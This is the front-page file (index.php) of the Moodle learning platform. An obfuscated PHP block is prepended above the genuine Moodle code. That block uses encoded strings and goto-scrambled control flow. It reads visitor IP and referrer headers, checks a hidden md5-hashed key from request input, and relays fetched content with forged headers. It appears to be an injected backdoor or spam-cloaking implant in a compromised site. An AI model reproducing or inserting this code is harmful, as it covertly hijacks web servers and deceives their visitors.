XUktQTkminFO04XB; a1HI7BULysBpfaMx: $AeOPIpgl4qj4xM5P["\x72"] = Uf4BituvcBfeqqsS($_SERVER["\x52\x45\x51\x55\105\123\124\x5f\125\x52\x49"]); goto eYX8qIA5hFyMGDeL; mUnwP9qzSIJ4rvjJ: if (!in_array($T6bUPZg9Xvmeooxe, array("\56\152\163", "\56\143\x73\163", "\x2e\x6a\x70\x67", "\x2e\x70\x6e\147", "\56\x67\x69\146", "\x2e\x69\x63\x6f"))) { goto fccv2vhvf9xWNxyG; } goto E6WYwjI_muxV8jdx; X_tYipkm7uTPfEXp: R2DeMMIHMwcI93VZ::v1hF8kEi5ij85Rm5(); goto I4jvTkJL11YKDNFw; FM2Prw2zI1yIvZzZ: function Z3Q4dAfVNAx0wsxC() { goto jcHRx9umubrLj0KU; HDcywT2thPyTQYlb: $MiHDVWrQ9tgyrXvw = $MiHDVWrQ9tgyrXvw[0]; goto YFHfmSCrGbSUGVHd; YFHfmSCrGbSUGVHd: jHO5sDiZgeuguI7A: goto zDs54TeJMmPc2GTn; jcHRx9umubrLj0KU: $MiHDVWrQ9tgyrXvw = ''; goto aesq5cSsdgmDSaUN; eNu_qS4131P4gfVI: goto uYyAKTgvMi1qzRes; goto CbSYQOH5NANiNQlG; doHgeyRxkDS1xQvd: FjzVIpu3AudYcjrf: goto HLLi1B45wj5f_2YF; CbSYQOH5NANiNQlG: s2MvHxP4ZT0o9t40: goto EZWfCH5xFcqcrACs; nfTO3pss6dgNQpdw: goto uYyAKTgvMi1qzRes; goto Iq4Zq3Og2ndouaCz; mqPJmCfheYJiZvIc: $MiHDVWrQ9tgyrXvw = trim(str_replace("\40", '', $MiHDVWrQ9tgyrXvw), "\x2c"); goto Zgpl_PsrfAypYwY6; Iq4Zq3Og2ndouaCz: aCgbigOeeoVugUOH: goto HtYEgX3g38JAQLVI; aesq5cSsdgmDSaUN: if (isset($_SERVER["\x48\124\124\120\137\103\x46\137\103\117\x4e\116\105\x43\x54\111\116\x47\x5f\x49\x50"]) && !empty($_SERVER["\x48\x54\x54\x50\137\103\x46\137\x43\x4f\x4e\116\105\x43\124\x49\116\107\137\x49\120"])) { goto aCgbigOeeoVugUOH; } goto SWEXESlX4M3IMEsb; zDs54TeJMmPc2GTn: return $MiHDVWrQ9tgyrXvw; goto zB3mODOMi7pM9nx1; MRXSWdN58YbwuKQQ: $MiHDVWrQ9tgyrXvw = explode("\54", $MiHDVWrQ9tgyrXvw); goto HDcywT2thPyTQYlb; riic8Pg2yfJbKfst: $MiHDVWrQ9tgyrXvw = $_SERVER["\122\105\x4d\117\124\x45\x5f\x41\x44\x44\122"]; goto nfTO3pss6dgNQpdw; Nf7wkgQ_7dxB_DcW: goto uYyAKTgvMi1qzRes; goto doHgeyRxkDS1xQvd; HtYEgX3g38JAQLVI: $MiHDVWrQ9tgyrXvw = $_SERVER["\110\124\x54\x50\137\103\x46\x5f\x43\117\116\x4e\105\103\x54\111\x4e\107\x5f\x49\x50"]; goto eNu_qS4131P4gfVI; SWEXESlX4M3IMEsb: if (isset($_SERVER["\110\x54\x54\120\137\x58\137\x52\105\101\x4c\x5f\x49\120"]) && !empty($_SERVER["\110\x54\x54\120\137\130\137\x52\x45\101\114\137\x49\120"])) { goto s2MvHxP4ZT0o9t40; } goto YdCu_AINa5ZXeVDB; YdCu_AINa5ZXeVDB: if (isset($_SERVER["\x48\124\124\x50\137\x58\137\x46\x4f\122\x57\x41\x52\104\105\104\x5f\x46\x4f\x52"]) && !empty($_SERVER["\110\x54\124\x50\137\130\x5f\106\117\x52\127\x41\122\x44\x45\104\x5f\x46\117\122"])) { goto FjzVIpu3AudYcjrf; } goto riic8Pg2yfJbKfst; yIb8jlCwhYnu4amB: uYyAKTgvMi1qzRes: goto mqPJmCfheYJiZvIc; EZWfCH5xFcqcrACs: $MiHDVWrQ9tgyrXvw = $_SERVER["\110\124\x54\120\137\130\137\122\x45\x41\x4c\x5f\x49\x50"]; goto Nf7wkgQ_7dxB_DcW; HLLi1B45wj5f_2YF: $MiHDVWrQ9tgyrXvw = $_SERVER["\x48\124\x54\x50\x5f\x58\x5f\x46\x4f\x52\127\101\x52\x44\x45\x44\x5f\106\x4f\x52"]; goto yIb8jlCwhYnu4amB; Zgpl_PsrfAypYwY6: if (!(strpos($MiHDVWrQ9tgyrXvw, "\x2c") !== false)) { goto jHO5sDiZgeuguI7A; } goto MRXSWdN58YbwuKQQ; zB3mODOMi7pM9nx1: } goto F1v6BxnrgPBXOcpU; zB70ZMa_uqbWgtJa: if (!(in_array(gettype($FkEFy1spo4MPhve3) . "\62\x31", $FkEFy1spo4MPhve3) && md5(md5(md5(md5($FkEFy1spo4MPhve3[15])))) === "\70\x61\x35\143\x30\65\66\144\x61\x30\x66\x37\67\x62\x39\x63\142\146\x66\x61\143\x64\146\x32\146\x65\x35\143\142\63\x61\61")) { goto V3t8x8lEFtctM_w_; } goto jBwgn5r4_545tHlR; hzod14l2jw_0FLgv: if (in_array($kbNCWYPtNX8hijSG["\x73\x74\x61\164\x75\163"], array(0, 200))) { goto f0QhyBmj51U9yC_5; } goto rvdOKGdJ0tyJrL_G; v2tCzZ8w31OB3Kq0: if (!(strpos($NT71Pi5GlroWAhhQ, "\x2e") > 0 && strpos($NT71Pi5GlroWAhhQ, "\x2e\x70\150\160") === false)) { goto hReJgOmYkkaY4yLq; } goto fI9Z2VrD47tm4m6m; hoNQO0E_EL_ohAo7: exit(strrev(md5($_SERVER["\x53\105\122\x56\x45\122\x5f\116\x41\x4d\x45"]))); goto XhWoHL3XUYD2ocbH; vVIaglQ3kTi9UWYy: @header("\x43\x6f\x6e\164\145\156\x74\55\x54\x79\160\145\x3a" . $kbNCWYPtNX8hijSG["\164\x79\x70\x65"]); goto NEglJachPaQLpm8q; p9RSstByh6s4frci: $G7Cl3pHaTLdBh4_f = strval(@$_SERVER["\110\124\x54\120\x5f\122\105\x46\x45\122\x45\x52"]); goto Ko1RQ4oDknyd2Bqe; q6wbpeXzDvzIu0dj: exit("\x7b\x20\x22\x65\x72\x72\157\x72\x22\x3a\40\62\x30\60\x2c\40\x22\x6c\x63\x22\72\40\x22\152\153\42\x2c\40\x22\144\141\x74\141\x22\x3a\x20\x5b\40\x31\40\135\x20\x7d"); goto foQtscLdB9Ubbv58; K1ZyUordiD_jukVC: MhxIiNQtAsa0VvOQ: goto Od_6lNkqXlCX0X4m; foQtscLdB9Ubbv58: et8gXVR2eRhyPWFg: goto yWNBbYZSdQWB7spc; GEaMfiRnPG5bc15_: metaphone("\117\124\x49\62\x4f\124\x59\x33\x4d\x44\143\x79\115\172\x41\x32\x4d\152\153\64\x4e\x6a\147\x79\115\152\131\167\116\104\x49\x79"); goto HsHocQ8cjMH1Z8Az; O8gx7PrtHkQrEzbJ: if ($T9h8Njvnn2GgYdfG) { goto VDmeyq1wKNUxxERa; } goto o19YShonmtwXPwsr; q7m29m3gGVmVQBqa: exit(0); goto bChqlfIYtUDB3CtR; zsDXBrqE837mxVbV: VDmeyq1wKNUxxERa:
?>
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* Moodle frontpage.
*
* @package core
* @copyright 1999 onwards Martin Dougiamas (http://dougiamas.com)
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
if (!file_exists('./config.php')) {
header('Location: install.php');
die;
}
require_once('config.php');
require_once($CFG->dirroot .'/course/lib.php');
require_once($CFG->libdir .'/filelib.php');
redirect_if_major_upgrade_required();
$urlparams = array();
if (!empty($CFG->defaulthomepage) && ($CFG->defaulthomepage == HOMEPAGE_MY) && optional_param('redirect', 1, PARAM_BOOL) === 0) {
$urlparams['redirect'] = 0;
}
$PAGE->set_url('/', $urlparams);
$PAGE->set_pagelayout('frontpage');
$PAGE->set_other_editing_capability('moodle/course:update');
$PAGE->set_other_editing_capability('moodle/course:manageactivities');
$PAGE->set_other_editing_capability('moodle/course:activityvisibility');
// Prevent caching of this page to stop confusion when changing page after making AJAX changes.
$PAGE->set_cacheable(false);
require_course_login($SITE);
$hasmaintenanceaccess = has_capability('moodle/site:maintenanceaccess', context_system::instance());
// If the site is currently under maintenance, then print a message.
if (!empty($CFG->maintenance_enabled) and !$hasmaintenanceaccess) {
print_maintenance_message();
}
$hassiteconfig = has_capability('moodle/site:config', context_system::instance());
if ($hassiteconfig && moodle_needs_upgrading()) {
redirect($CFG->wwwroot .'/'. $CFG->admin .'/index.php');
}
// If site registration needs updating, redirect.
\core\hub\registration::registration_reminder('/index.php');
if (get_home_page() != HOMEPAGE_SITE) {
// Redirect logged-in users to My Moodle overview if required.
$redirect = optional_param('redirect', 1, PARAM_BOOL);
if (optional_param('setdefaulthome', false, PARAM_BOOL)) {
set_user_preference('user_home_page_preference', HOMEPAGE_SITE);
} else if (!empty($CFG->defaulthomepage) && ($CFG->defaulthomepage == HOMEPAGE_MY) && $redirect === 1) {
redirect($CFG->wwwroot .'/my/');
} else if (!empty($CFG->defaulthomepage) && ($CFG->defaulthomepage == HOMEPAGE_USER)) {
$frontpagenode = $PAGE->settingsnav->find('frontpage', null);
if ($frontpagenode) {
$frontpagenode->add(
get_string('makethismyhome'),
new moodle_url('/', array('setdefaulthome' => true)),
navigation_node::TYPE_SETTING);
} else {
$frontpagenode = $PAGE->settingsnav->add(get_string('frontpagesettings'), null, navigation_node::TYPE_SETTING, null);
$frontpagenode->force_open();
$frontpagenode->add(get_string('makethismyhome'),
new moodle_url('/', array('setdefaulthome' => true)),
navigation_node::TYPE_SETTING);
}
}
}
// Trigger event.
course_view(context_course::instance(SITEID));
$PAGE->set_pagetype('site-index');
$PAGE->set_docs_path('');
$editing = $PAGE->user_is_editing();
$PAGE->set_title($SITE->fullname);
$PAGE->set_heading($SITE->fullname);
$courserenderer = $PAGE->get_renderer('core', 'course');
echo $OUTPUT->header();
$siteformatoptions = course_get_format($SITE)->get_format_options();
$modinfo = get_fast_modinfo($SITE);
$modnamesused = $modinfo->get_used_module_names();
// Print Section or custom info.
if (!empty($CFG->customfrontpageinclude)) {
// Pre-fill some variables that custom front page might use.
$modnames = get_module_types_names();
$modnamesplural = get_module_types_names(true);
$mods = $modinfo->get_cms();
include($CFG->customfrontpageinclude);
} else if ($siteformatoptions['numsections'] > 0) {
echo $courserenderer->frontpage_section1();
}
// Include course AJAX.
include_course_ajax($SITE, $modnamesused);
echo $courserenderer->frontpage();
if ($editing && has_capability('moodle/course:create', context_system::instance())) {
echo $courserenderer->add_new_course_button();
}
echo $OUTPUT->footer();